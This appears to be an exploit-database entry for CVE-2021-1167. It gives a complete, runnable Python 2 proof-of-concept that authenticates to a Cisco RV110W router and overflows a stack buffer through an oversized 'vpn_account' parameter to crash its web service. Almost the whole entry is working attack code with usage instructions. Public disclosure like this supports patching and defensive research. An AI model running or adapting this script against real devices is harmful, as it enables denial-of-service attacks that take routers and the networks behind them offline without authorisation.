Cisco RV110W 1.2.1.7 vpn_account Denial of Service (PoC)

2021.01.14
Credit: Shizhi He
Risk: Medium
Local: No
Remote: Yes
CWE: CWE-787


CVSS Base Score: 9/10
Impact Subscore: 10/10
Exploitability Subscore: 8/10
Exploit range: Remote
Attack complexity: Low
Authentication: Single time
Confidentiality impact: Complete
Integrity impact: Complete
Availability impact: Complete

# Exploit Title: Cisco RV110W 1.2.1.7 - 'vpn_account' Denial of Service (PoC) # Date: 2021-01 # Exploit Author: Shizhi He # Vendor Homepage: https://www.cisco.com/ # Software Link: https://software.cisco.com/download/home/283879340/type/282487380/release/1.2.1.7 # Version: V1.2.1.7 # Tested on: RV110W V1.2.1.7 # CVE : CVE-2021-1167 # References: # https://github.com/pwnninja/cisco/blob/main/vpn_client_stackoverflow.md # https://tools.cisco.com/security/center/content/CiscoSecurityAdvisory/cisco-sa-rv-overflow-WUnUgv4U #!/usr/bin/env python2 ##### ## Cisco RV110W Remote Stack Overflow. ### Tested on version: V1.2.1.7 (maybe useable on other products and versions) import os import sys import re import urllib import urllib2 import getopt import json import hashlib import ssl ssl._create_default_https_context = ssl._create_unverified_context ### # Usage: ./CVE-2021-1167.py 192.168.1.1 443 cisco cisco # This PoC will crash the target HTTP/HTTPS service ### #encrypt password def enc(s): l = len(s) s += "%02d" % l mod = l + 2 ans = "" for i in range(64): tmp = i % mod ans += s[tmp] return hashlib.md5(ans).hexdigest() if __name__ == "__main__": print "Usage: ./CVE-2021-1167.py 192.168.1.1 443 cisco cisco" IP = sys.argv[1] PORT = sys.argv[2] USERNAME = sys.argv[3] PASSWORD = enc(sys.argv[4]) url = 'https://' + IP + ':' + PORT + '/' #get session_id by POST login.cgi req = urllib2.Request(url + "login.cgi") req.add_header('Origin', url) req.add_header('Upgrade-Insecure-Requests', 1) req.add_header('Content-Type', 'application/x-www-form-urlencoded') req.add_header('User-Agent', 'Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko)') req.add_header('Accept', 'text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8') req.add_header('Referer', url) req.add_header('Accept-Encoding', 'gzip, deflate') req.add_header('Accept-Language', 'en-US,en;q=0.9') req.add_header('Cookie', 'SessionID=') data = {"submit_button": "login", "submit_type": "", "gui_action": "", "wait_time": "0", "change_action": "", "enc": "1", "user": USERNAME, "pwd": PASSWORD, "sel_lang": "EN" } r = urllib2.urlopen(req, urllib.urlencode(data)) resp = r.read() login_st = re.search(r'.*login_st=\d;', resp).group().split("=")[1] session_id = re.search(r'.*session_id.*\";', resp).group().split("\"")[1] print session_id #trigger stack overflow through POST vpn_account parameter and cause denial of service req2 = urllib2.Request(url + "apply.cgi;session_id=" + session_id) req2.add_header('Origin', url) req2.add_header('Upgrade-Insecure-Requests', 1) req2.add_header('Content-Type', 'application/x-www-form-urlencoded') req2.add_header('User-Agent', 'Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko)') req2.add_header('Accept', 'text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8') req2.add_header('Referer', url) req2.add_header('Accept-Encoding', 'gzip, deflate') req2.add_header('Accept-Language', 'en-US,en;q=0.9') req2.add_header('Cookie', 'SessionID=') poc = "a" * 4096 data_cmd = { "gui_action": "Apply", "submit_type": "", "submit_button": "vpn_client", "change_action": "", "pptpd_enable": "0", "pptpd_localip": "10.0.0.1", "pptpd_remoteip": "10.0.0.10-14", "pptpd_account": "", "vpn_pptpd_account": "1", "vpn_account": poc, "change_lan_ip": "0", "netbios_enable": "0", "mppe_disable": "0", "importvpnclient": "", "browser": "", "webpage_end": "1", } r = urllib2.urlopen(req2, urllib.urlencode(data_cmd)) resp = r.read() print resp


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